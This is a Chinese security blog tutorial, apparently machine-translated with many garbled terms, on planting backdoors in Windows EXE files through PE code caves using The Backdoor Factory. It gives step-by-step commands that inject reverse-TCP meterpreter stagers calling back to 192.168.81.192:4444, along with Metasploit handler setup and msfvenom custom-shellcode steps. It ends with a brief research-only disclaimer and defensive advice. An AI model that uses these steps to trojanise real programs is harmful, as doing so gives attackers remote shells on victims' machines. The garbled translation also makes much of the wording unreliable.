发布于2022年11月8日3年前 0x00 前言 后门工厂可以用来在可执行文件中植入后门,修改程序执行过程,执行添加的负载。 本文将介绍将后门嵌入EXE文件的原理,测试将后门嵌入后门工厂的方法,分析细节,总结思路。 后门工厂下载地址: https://github.com/secretsquirrel/the-backdoor-factory 0x01 简介 本文将介绍以下内容: EXE文件后门植入原理 测试后门工厂。 分析后门工厂的功能 0x02 基础知识 PE文件格式: 参考资料: https://en . wikibooks . org/wiki/X86 _ Disassembly/Windows _ Executable _ Files Code Caves: 参考资料: Codecaves初学者指南 Code Caves的直观认识: 使用vc6.0生成exe文件,并检查文件中可用的代码洞穴。 c代码: #include 'stdafx.h ' #包括 #包括 int array[200]={1,2,3,4,5,6,7,8,9 }; char array 2[200]=' 123456789 abcdef '; int main(int argc,char* argv[]) { printf(' hello world '); 返回0; } 编译生成的发布文件,用免疫调试器打开。 视图-内存(快捷键Alt M) 如下图 hello.exe包含四个部分,即PE报头。文本,rdata和。数据。 检查一下。hello.exe的数据部分。 如下图 找到一大段0x00数据,这些位置可以用有效载荷替换。 0x03 文件后门植入原理 植入原理 修改程序的执行流程,跳转到代码洞穴,执行payload,然后返回程序的正常流程。 请注意,默认情况下,只有。文本段有执行权限。如果有效载荷被添加到其他段(例如数据或。rdata),这个段需要添加执行权限。 注: 实际上,有效载荷可以通过跳跃多个代码洞穴来拼凑。 利用思路 1、新加区段,权限为可读可写可执行(RWE) 可以使用工具LordPE。 手动添加参考材料: https://www.exploit-db.com/docs/42061.pdf 优点: 简单,不用考虑文件代码洞穴的大小。 缺点: 增加文件长度 2、使用Code Caves 搜索现有的部分,看看是否有可用的代码洞穴。对于不可执行的部分,您需要添加可执行权限。 优点: 不要更改文件大小 缺点: 需要考虑码洞大小是否满足有效载荷长度。 0x04 实际测试The Backdoor Factory Kali 2.0默认集成了后门工厂,路径是usr/share/backdoor-factory。 测试系统是Kali 2.0。 为了便于测试,test exe代码如下: #包括 #包括 int array[200]={1,2,3,4,5,6,7,8,9 }; char array 2[200]=' 123456789 abcdef '; int main(int argc,char* argv[]) { printf(' hello world \ n '); 系统(“暂停”); 返回0; } 程序输出hello world后暂停。 以下是后门工厂的一些常用功能。 1、检查该文件是否适用于The Backdoor Factory 。/backdoor . py-f test.exe-S 输出如下所示: [*]检查是否支持二进制 [*]正在收集文件信息 [*]读取win32条目指令 test.exe是支持的。 2、获取该文件的可用payload 。/back door . py-f test.exe-s秀 输出下图 可用有效载荷如下: 洞穴_矿工_内联 iat_reverse_tcp_inline IAT _ reverse _ TCP _ inline _ threaded IAT _ reverse _ TCP _ stager _ threaded IAT _ user _ supplied _ shell code _ threaded meter preter _ reverse _ https _ threaded 反向_外壳_ tcp _内嵌 反向tcp阶段线程 用户提供的外壳代码线程 名称解析: cave_miner_inline: 作为有效载荷模板,长度为135,只实现控制过程跳转,不做其他操作。它可以用作外壳代码自定义开发的模板。 分解后的有效载荷的格式如下 reverse_shell_tcp_inline: 对应的抄表服务器: 使用漏洞利用/多重/处理程序 设置有效负载窗口/meterpreter/reverse_tcp meterpreter_reverse_https_threaded: 对应的抄表服务器: 使用漏洞利用/多重/处理程序 设置有效负载窗口/meterpreter/reverse_https iat_reverse_tcp_inline中的iat: Iat是导入地址表的缩写。如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,那么直接执行payload reverse _ shell _ TCP _ inline将会失败。iat_reverse_tcp_inline增加了修复iat的功能,避免执行失败。 user_supplied_shellcode_threaded: 用户定义的有效负载,可以由msf生成。 3、搜索该文件可用的Code Caves 。/backdoor . py-f test.exe-c 如果净荷长度为703,那么Code Caves需要满足长度大于703的要求,参数如下:/back door . py-f test.exe-c-l 703 输出下图 总共找到三个可用位置: 没有部分 -从洞穴0x240开始 -洞穴0x1000的尽头 洞穴的大小(int) 3520 ************************************************** 没有部分 -开始洞穴0x693a -洞穴0x700c的尽头 洞穴大小(室内)1746 ************************************************** 我们有一个赢家:数据 -从0x7051号洞穴开始 -洞穴0x7350的尽头 洞穴的大小(室内)767 SizeOfRawData0x1000 指针原始数据0x7000 原始数据结尾:0x8000 的输出地址是相对虚拟地址,即相对于文件头的偏移地址(基址映像基)。 内存中实际地址(虚拟地址)=基于映像的RVA ImageBase=0x00400000 使用免疫调试器查看并验证内存结构。 存储器结构如下 (1) 没有部分 -从洞穴0x240开始 -洞穴0x1000的尽头 洞穴的大小(int) 3520 内存中的实际地址是0x00400240-0x00401000,位于PE头,默认权限是r。 按如下方式检查存储器地址数据 (2) 没有部分 -开始洞穴0x693a -洞穴0x700c的尽头 洞穴大小(室内)1746 存储器中的实际地址是0x0040693a-0x0040700c,位于中。rdata段,默认权限是r。 按如下方式检查存储器地址数据 (3) 我们有一个赢家:数据 -从0x7051号洞穴开始 -洞穴0x7350的尽头 洞穴的大小(室内)767 存储器中的实际地址是0x00407051-0x00407350,位于中。数据段,默认权限是RW。 按如下方式检查存储器地址数据 可以看出,通过后门工厂找到的代码洞穴都符合要求。 4、添加payload 这里选择reverse_tcp_stager_threaded进行测试,有效载荷长度为703。 服务器: 使用漏洞利用/多重/处理程序 设置有效负载窗口/meterpreter/reverse_tcp (1) 添加新区段,保存payload 。/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-a-o test1.exe 新部分的名称是。数据和许可是RWE。 如下图 如果新添加的段名是aaa,参数如下:/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-a-n AAA-o test1.exe (2) payload保存到.data段中 。/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-o test2.exe 选择。数据段显示提示。 的许可。数据段更改为RWE,如下图所示 程序入口点添加跳转代码JMP TEST2.00407055,0x00407055保存添加的有效载荷。 如下图 (3) payload保存到其他段中 。/back door . py-f test.exe-H 192 . 168 . 81 . 192-P 4444-s反向_ TCP _ stager _ threaded-o test3.exe 根据提示选择PE表头,如下图所示 执行将报告一个错误,这个错误需要修复。 您可以使用工具nasm_shell将汇编代码转换为十六进制数据。 Kali2.0默认集成了nasm_shell。 使用如下所示的工具。 (4) 自定义payload 生成有效负载: MSF venom-p windows/messagebox-f raw msg . bin 添加有效负载:/back door . py-f test.exe-s用户提供_外壳代码_线程化-U消息. bin-o test4.exe 测试下图 0x05 小结 介绍了利用后门工厂将后门植入EXE文件的方法,利用代码洞穴不能改变原文件的大小。 当然这种方法已经被杀毒软件干掉了,本文介绍的内容仅供技术研究。 从防御的角度来说,下载文件时需要多加注意,只下载可信来源的程序,同时mcrc hash。 留下回复
创建帐户或登录后发表意见